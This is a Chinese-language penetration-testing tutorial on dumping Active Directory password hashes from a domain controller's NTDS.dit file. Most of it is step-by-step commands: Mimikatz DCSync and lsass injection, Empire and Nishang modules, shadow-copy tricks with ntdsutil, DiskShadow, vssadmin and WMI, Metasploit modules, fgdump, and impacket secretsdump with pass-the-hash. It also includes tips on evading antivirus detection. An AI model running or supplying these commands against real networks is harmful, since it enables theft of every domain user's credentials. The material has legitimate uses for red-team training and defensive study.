域密码哈希导出的那些事儿

在渗透测试过程中,我们常常碰到这样一种情况:已经实现域管理员访问,并提取所有域用户的密码的哈希用来进行离线破解和分析。这些哈希值存储在域控制器(NTDS.DIT​​)的数据库文件中,并往往带有一些其他信息,如组成员身份和用户。
NTDS.DIT​​文件会被操作系统频繁使用,因此无法直接复制到其他位置以提取信息。通常在Windows的如下路径可以找到该文件:

C:WindowsNTDSNTDS.dit

提取该文件并存储在其中的信息的技术非常多,但是大多数情况下会选择以下其中一种方法:

  1. 域控制器复制服务
  2. 原生Windows二进制文件
  3. WMI

 

Mimikatz

Mimikatz有一个dcsync的功能,利用它可以从目录复制服务(DRS)的NTDS.DIT​​文件中检索密码哈希值。该项技术省去了直接使用域控制器进行身份验证的过程,因为它可以通过域管理员的权限从域的任何系统执行。因此,该项技术可以作为红队的标准技术,因为它简单高效。

lsadump::dcsync /domain:pentestlab.local /all /csv

Mimikatz - 通过DCSync转储域哈希

通过使用/ user参数指定域用户名,Mimikatz可以转储包括其密码哈希值在内的所有帐户信息。

lsadump::dcsync /domain:pentestlab.local /user:test

Mimikatz - 通过DCSync转储用户哈希

另外,直接在域控制器中执行Mimikatz密码哈希值可以通过lsass.exe进程转储。

  1. privilege::debug
  2. lsadump::lsa /inject

Mimikatz - 通过lsass转储域哈希

之后,检索域内账户的密码哈希值。Mimikatz - 通过lsadump转储域名哈希

 

Empire

PowerShell Empire有两个可以通过DCSync攻击检索域哈希值的模块。这两个模块都需要域管理员的权限执行,同时也伴随着Microsoft复制服务的运行。这些模块依赖于Invoke-Mimikatz PowerShell脚本来执行与DCSync相关的Mimikatz命令。通过以下模块可以将域哈希提取为类似于Metasploit hashdump命令输出的格式。

usemodule credentials/mimikatz/dcsync_hashdump

帝国 - DCSync Hashdump模块

DCSync模块需要指定用户才能提取所有帐户信息。Empire - DCSync模块

将获得如下图所示的信息:
Empire - DCSync帐户信息

 

Nishang

Nishang是一个允许红队和渗透测试人员对系统进行攻击性操作的PowerShell框架。Copy-VSS脚本可以用于自动提取——NTDS.DIT​​,SAM和SYSTEM这些必要文件。这些文件将被解压到当前工作目录或其他任意的指定文件夹中。

1.Import-Module .Copy-VSS.ps1
2.Copy-VSS
3.Copy-VSS -DestinationDir C:ShadowCopy

Nishang - 提取NTDS PowerShell

另外,还可以通过加载PowerShell扩展的方式来从现有的Meterpreter会话执行脚本。

1.load powershell
2.powershell_import /root/Copy-VSS.ps1
3.powershell_execute Copy-VSS

加载PowerShell并执行脚本的过程

也可以通过命令powershell_shell建立直接PowerShell会话,以便在脚本导入现有Meterpreter会话后提取文件。

1.Copy-VSS
2.Copy-VSS -DestinationDir C:Ninja

Nishang - 提取NTDS Meterpreter PowerShell

 

PowerSploit

PowerSploit包含PowerShell脚本,该脚本利用卷影复制服务创建可用于提取文件的新卷,常常通过以下方式实现:

powershell_shell
New-VolumeShadowCopy -Volume C:
Get-VOlumeShadowCopy

PowerSploit - 卷影复制过程

接着,可以使用命令copy将文件从新卷复制到目标路径。

 

Invoke-DCSync

[Invoke–DCSync]是PowerShell的一个脚本,由Nick Landers
开发,并利用PowerView,Invoke-ReflectivePEInjection和PowerKatz的DLL检索与DCSync的Mimikatz方法来提取哈希值。直接执行该函数会有如下输出:

Invoke-DCSync

结果将格式化为Domain,User,RID和Hash四个表。同时,使用参数-PWDumpFormat执行Invoke-DCSync将以 user: id: lm: ntlm ::: 格式检索哈希:

Invoke-DCSync -PWDumpFormat

Invoke-DCSync - PowerShell PWDump格式

通过从现有的Meterpreter会话运行脚本,可以实现相同的输出。
Invoke-DCSync Metasploit

使用PWDumpFormat:
Invoke-DCSync - Metasploit PWDump格式

 

NTDSUTIL

NTDSUTIL是为了让管理员能够访问和管理Windows Active Directory数据库一种命令行工具,它是域控制器生态系统的一部分。同时,渗透测试人员和红队可以用它来拍摄现有ntds.dit文件的快照,通常将该文件复制到新位置,来进行离线分析和密码哈希的提取。

1.ntdsutil
2.activate instance ntds
3.ifm
4.create full C:ntdsutil
5.quit
6.quit

NTDSUTIL

此处将生成Active Directory和Registry两个新文件夹。NTDS.DIT​​文件将保存在Active Directory中,SAM和SYSTEM文件将保存到Registry文件夹中。
ntdsutil - ntds

DiskShadow

DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷影复制服务(VSS)相关的操作。最初bohops在他的博客中提到了这个二进制文件。该二进制文件有两个模式,分别为:交互式脚本模式。因此,我们需要一个包含自动执行NTDS.DIT​​提取过程所需的所有命令的脚本文件。该脚本文件为了满足:创建新的卷影副本,装入新驱动器,执行复制命令并删除卷影副本等功能,需要以下行:

1.set context persistent nowriters
2.add volume c: alias someAlias
3.create
4.expose %someAlias% z:
5.exec “cmd.exe” /c copy z:windowsntdsntds.dit c:exfilntds.dit
6.delete shadows volume %someAlias%
7.reset

值得注意的是,DiskShadow二进制文件需要从C:WindowsSystem32路径执行。如果从另一个路径调用它,脚本将无法正确执行。

diskshadow.exe /s c:diskshadow.txt

DiskShadow

直接从解释器运行以下命令,可以列出系统的所有可用卷影副本:

1.diskshadow
2.LIST SHADOWS ALL

diskshadow - 检索卷影副本

SYSTEM注册表配置单元也应该被复制,因为它包含解密NTDS文件内容的密钥。

reg.exe save hklmsystem c:exfilsystem.bak

diskshadow - 从Registry复制系统

 

WMI

Sean Metcalf在他的博客表明,可以通过WMI远程提取NTDS.DIT​​和SYSTEM文件。该技术使用vssadmin二进制文件来创建卷影副本。

wmic /node:dc /user:PENTESTLABDavid /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

WMI - 创建卷影复制

接着,它远程执行复制命令,以便将卷影副本中的NTDS.DIT​​文件解压缩到目标系统上的另一个目录中。

wmic /node:dc /user:PENTESTLABDavid /password:pentestlab123!! process call create "cmd /c copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSNTDS.dit C:tempntds.dit 2>&1"

WMI - 复制NTDS文件

该方法同样适用于SYSTEM文件。

wmic /node:dc /user:PENTESTLABDavid /password:pentestlab123!! process call create "cmd /c copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM C:tempSYSTEM.hive 2>&1"

WMI - 复制系统文件

然后,解压的文件可以从域控制器传输到另一个Windows系统,以转储域密码哈希值。

PS C:Userstest.PENTESTLAB> copy \10.0.0.1c$tempntds.dit C:temp
PS C:Userstest.PENTESTLAB> copy \10.0.0.1c$tempSYSTEM.hive C:temp

通过复制传输文件

如果已生成黄金票证,则可以使用它通过Kerberos与域控制器进行身份验证,以此代替凭据。

 

VSSADMIN

卷影副本是Windows命令行一种即便被操作系统使用也能够用于管理员备份计算机,卷,文件的实用程序。卷影复制作为服务运行,并要求将文件系统格式化为NTFS,默认情况在所有现代操作系统下都是如此。从Windows命令提示符执行以下操作将创建C:驱动器盘的快照,以便用户访问通常无法访问这些文件,并将其其复制到另一个位置(本地文件夹,网络文件夹或可移动介质)。

vssadmin create shadow /for=C:
vssadmin - 创建卷影复制

因为C:驱动器盘中的所有文件都已复制到另一个位置(上图已给出,HarddiskVolumeShadowCopy1),所以它们不会被操作系统直接使用,因此可以直接访问并将其复制到另一个位置。命令副本将NTDS.DIT和SYSTEM文件复制到名为ShadowCopy的本地驱动器上的新创建文件夹中。

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSNTDS.dit C:ShadowCopy
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM C:ShadowCopy

从卷影复制中复制文件

这些文件需要从域控制器复制到另一个主机以进行进一步处理。

ShadowCopy - 文件

 

vssown

vssadmin实用程序类似,Tim Tomes开发了vssown,它是一种可以创建和删除卷影副本,并从卸载的卷影副本运行任意可执行文件,以及启动和停止卷影复制服务的可视化basic脚本。

cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete 

vssown - 卷影复制

可以使用命令副本复制所需的文件。

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy11windowsntdsntds.dit C:vssown
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy11windowssystem32configSYSTEM C:vssown
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy11windowssystem32configSAM C:vssown

Metasploit - NTDS模块

 

Metasploit

Metasploit框架有这么一个模块,它通过服务器消息块(SMB)服务直接与域控制器进行身份验证,创建系统驱动器的卷影副本,并将NTDS.DIT​​和SYSTEM配置单元的副本下载到Metasploit目录中。这些文件可以与impacket等其他工具一起,共同用于提取执行活动目录密码的哈希。

auxiliary/admin/smb/psexec_ntdsgrab

Metasploit - NTDS模块

此外,还存在一个后期利用模块,可以链接到现有的Meterpreter会话,以便通过ntdsutil方法检索域哈希。

windows/gather/credentials/domain_hashdump

image.png

有时候,到域控制器如果存在现有Meterpreter会话的情况下,则可以使用命令hashdump。但是,该方法并不安全,因为它可能会使域控制器崩溃。

hashdump

Metasploit - DC上的Hashdump

 

fgdump

fgdump是一个元老级别的可执行文件,可用来提取LanMan和NTLM的密码哈希值。如果已获取本地管理员权限,则可以在本地或远程执行。在执行期间,fgdump将尝试禁用可能在系统上运行的防病毒软件,如果成功,则会将所有数据写入两个文件中。如果存在防病毒或端点解决方案,则不应将fgdump用作转储密码哈希的方法以避免检测,因为大多数防病毒公司(包括Microsoft的Windows Defender)都会对其进行标记。

fgdump.exe

fgdump - 域控制器

也可以通过检查.pwdump文件的内容来检索密码哈希值。

type 127.0.0.1.pwdump

fgdump - pwdump文件

 

NTDS提取

Impacket是一组用于执行各种任务,包括提取NTDS文件的内容python脚本。其中的impacket-secretsdump模块需要系统和NTDS数据库文件。

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

此外,impacket可以通过使用计算机帐户及其哈希进行身份验证从NTDS.DIT​​文件远程转储域密码哈希。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc$@10.0.0.1

impacket - 提取NTDS内容

此外,impacket可以通过使用计算机帐户及其哈希进行身份验证从NTDS.DIT​​文件远程转储域密码哈希。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc$@10.0.0.1

impacket - 远程提取NTDS内容

NTDSDumpEx二进制文件可以从Windows主机中提取域密码哈希值,该方案可以作为impacket的替代解决方案。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

NTDSDumpEx

还有一个shell脚本adXtract,它可以将用户名和密码的哈希值导出为一种可以被常见的密码爆破工具如John the Ripper和Hashcat调用的格式。

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

adXtract

该脚本会将所有信息写入项目名称下的各类文件中,当数据库文件NTDS的解密完成后,在将用户列表和密码哈希值导出到控制台中。同时,adXtract脚本还将提供有关域用户的大量信息,如下所示:

adXtract - 用户列表

密码哈希值将以下列格式显示。

密码哈希值

审核人:yiwang   编辑:边边

(完)